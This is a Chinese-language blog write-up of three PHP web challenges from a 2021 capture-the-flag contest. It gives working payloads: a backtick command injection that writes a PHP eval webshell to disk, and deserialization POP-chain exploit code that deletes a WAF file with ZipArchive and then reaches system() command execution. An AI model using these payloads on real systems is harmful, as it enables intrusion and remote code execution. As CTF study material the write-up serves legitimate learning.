nep欢乐赛

little trick

知识储备

**``**反引号:反引号可以用来执行系统命令
**>**:输出重定向符号:(linux反弹shell本质博客中有讲解)
可以将内容重定向输出至某个位置

img img

思路:

这里一共就三个关键函数,intval、strlen、substr、查找了前面两个的trick都对解题没有帮助,于是看了一下substr函数,可以使用-1进行倒着截断,那么此时也就绕过了len<-1的限制

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
img img 接下来就是构造eval执行语句: 这里直接放payload进行分析:
1
2
3
?len=-1&nep=`$_GET[a]`;;&a=ls>1.php
?len=-1&nep=`$_GET[a]`;;&a=cat *>1.php
?len=-1&nep=`$_GET[a]`;;&a=echo \<\?php eval\(\$_POST\[a\]\)\;>123.php//学长解法

从nep后面开始分析:
由于我们输入的执行的代码程度是有限制的,所以这里使用一个GET指令传参,这算是一种拼接手法。这条指令拼接完以后就变成了:

1
2
3
`ls>1.php`
`cat *>1.php`
`echo \<\?php eval\(\$_POST\[a\]\)\;>123.php`
img

img

img

这里我们分部分详解:

``加反引号,所以可以执行系统命令的echo,系统命令的echo是可以输入内容到文件中的,格式:

1
echo 内容 >文件名

为什么需要>文件输出重定向?
我们可以发现在这段代码中是没有echo之类的输出函数的,所以此时我们想要输出内容就需要使用输出重定向,将执行命令的结果重定向输出至其他文件中,内容才可以显现。

为什么需要反斜杠
这里的反斜杠是为了屏蔽一些字符的作用,我们知道``里面是执行了系统命令,在linux系统里面< 等都是有其他意义的,如果不加反斜杠直接输入会有歧义导致输入错误

反引号使用详细参考参考:https://blog.csdn.net/u012005313/article/details/46241473

bbxhh_revenge

这题写的是挺无语的,要一直换ip,我是用利用手机换飞行模式,再换回来,ip会改变,然后用流量放热点达到更换ip的效果:

然后下面在尝试参数的是比较难受的,感觉有点脑洞,我也是在尝试的过程中 多加了一个一个imagin的参数,画面回显才有不同,接下来就和学长一起讨论往下做。
img

非预期解

这个也是后来才知道的:在尝试参数的过程中 他有说一句话:
你已经可以得到phpinfo了,但是当时没理解这句话的意思,后来才知道,原来在imagin后加上函数才可以打开

img
预期解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function waf($s){


return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i',"NepnEpneP",$s);

}

if(isset($_GET['a'])){
$_=waf($_GET['a']);
$__=waf($_GET['b']);
$a=new $_($__);//new XMLReader
}else{
$a=new Error('?');
}

if(isset($_GET['c'])&& isset($_GET['d'])){
$c=waf($_GET['c']);
$d=waf($_GET['d']);
eval("$a->$c($d)");//XMLReader -> open('data.xml')
}else{
$c='getMesssage';
$d="";
eval("echo $a->$c($d);");
}

?>

拿到源码和学长想的是利用内置类,但是有个参数问题没法解决,所以还在等正经wp

梦里花开牡丹亭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
 <?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){//这个是md5加密,解密后为admin,那这里应该就需要传入个admin
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);//新建一个login类
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){//在checking里面会检查username和password,
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');//成功了才可以打开。
}
}
}
class register{
public function checking($username,$password)//这边就会检查了
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

这个是反序列化漏洞,但是我反序列化漏洞只是学了一个比较简单_wakeup()函数的绕过,试着做一下这题,本来想看着学长们的wp做,但是想了一下,反序列化问题有遇到过了,还是尝试自己做一下

POP链条

1.反序列化触发wake_up方法,wake_up方法中做了一个判断,我们输入的admin的时候将会跳转到login类当中,会先使用construct方法,对各个变量进行赋值
2.接下来将就会返回到Game类中调用_destruct调用方法,又进入到checking类中
3.此时将会调用checking方法,这里有个参数 file,我们要对file赋值让他进入Open类中调用file_get_contents函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;
}
class login{
}
class register{
}
class Open{
}
$a=new Game;
$b=new Open;
$a->register="admin";
$a->filename="shell";
$a->file=$b;
$a->username="admin";
$a->password="admin";
print(base64_encode(serialize($a)));
?>

接下来会获得以下文件:

1
2
3
4
5
6
7
8
9
10
11
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}

原来这段代码还没结束,还有下文,这里有个shell方法是在我们上面那个判断语句当中的,当waf.txt不存在的时候才会调用这个shell方法现在我们需要删除这个waf.txt,由于以上没有我们可以利用的类,所以这里很明显需要使用内置类进行删除(跟那个bbxhh-revenge有神似的地方)这里需要寻找一个能直接删除的内置类:
img

img 利用此代码即可删除 所以序列化一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;
}
class login{
}
class register{
}
class Open{
}
$a=new Game;
//$b=new Open;
$zip=new ZipArchive();

$a->register="admin";
$a->filename="waf.txt";
$a->content=ZipArchive::OVERWRITE;//这里记得不能加引号
$a->file=$zip;
$a->username="admin";
$a->password="admin";
print(base64_encode(serialize($a)));

接下来就是写入代码执行shell了 在反序列化那边对content参数进行修改(用得是第一个反序列化代码),执行ls没找到flag应该是在根目录了,然后ls / 发现flag目录 感觉flag就在里面了,于是使用
php /flag即可打开

img
Author

vague huang

Posted on

2021-03-21

Updated on

2021-03-25

Licensed under

Comments